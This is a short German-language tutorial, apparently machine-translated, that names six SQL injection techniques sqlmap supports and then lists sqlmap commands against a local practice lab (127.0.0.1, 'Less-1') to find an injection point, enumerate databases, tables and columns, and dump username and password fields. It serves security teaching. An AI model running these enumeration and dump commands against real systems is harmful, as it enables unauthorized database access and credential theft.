1. Sechs von sqlmap unterstützte Injektionsmethoden
1. Boolesche Blindinjektion
Indem Sie zur Seite zurückkehren, um die wahre und falsche Injektion der Bedingung zu bestimmen
2. Zeitbasierte Blindinjektion
Sie können keine Informationen anhand des von der Seite zurückgegebenen Inhalts beurteilen. Verwenden Sie bedingte Anweisungen, um zu prüfen, ob die Zeitverzögerungsanweisung ausgeführt wird (d.
3. Basierend auf Fehlerinjektion
Die Seite gibt eine Fehlermeldung zurück oder gibt die eingefügte Anweisung direkt an die Seite zurück
4. Gemeinsame Abfrageinjektion
Injektion bei Verwendung von Union
5. Heap-Abfrageinjektion
Ausführungszeitinjektion, die mehrere Anweisungen gleichzeitig ausführen kann
6. Inline-Abfrageinjektion
Führen Sie die SQL-Anweisung in der SQL-Anweisung aus
Zweitens die grundlegende Verwendung von sqlmap
1. Prüfen Sie, ob ein Injektionspunkt vorhanden ist
python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1"
2. Alle Datenbanken anzeigen
python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --dbs
3. Zeigen Sie die aktuell verwendete Datenbank an
python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --current-db
4. Überprüfen Sie den Tabellennamen
python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -D security --tables
-D gibt die Datenbank an, --tables listet die Tabellennamen auf
5. Listen Sie alle Feldnamen in der Tabelle auf
python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -D security -T users --columns
-D gibt die Datenbank an, -T gibt den Tabellennamen an, -columns listet alle Felder auf
6. Feldinhalt (Daten) auflisten
python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -D security -T users -C username,password --dump
-D gibt die Datenbank an, -T gibt die Datentabelle an, -C gibt die aufzulistenden Felder an, --dump listet den Inhalt der Felder auf und gibt die Daten aus
Suchen Sie die abgelegten Daten gemäß dem Eingabeaufforderungsinhalt: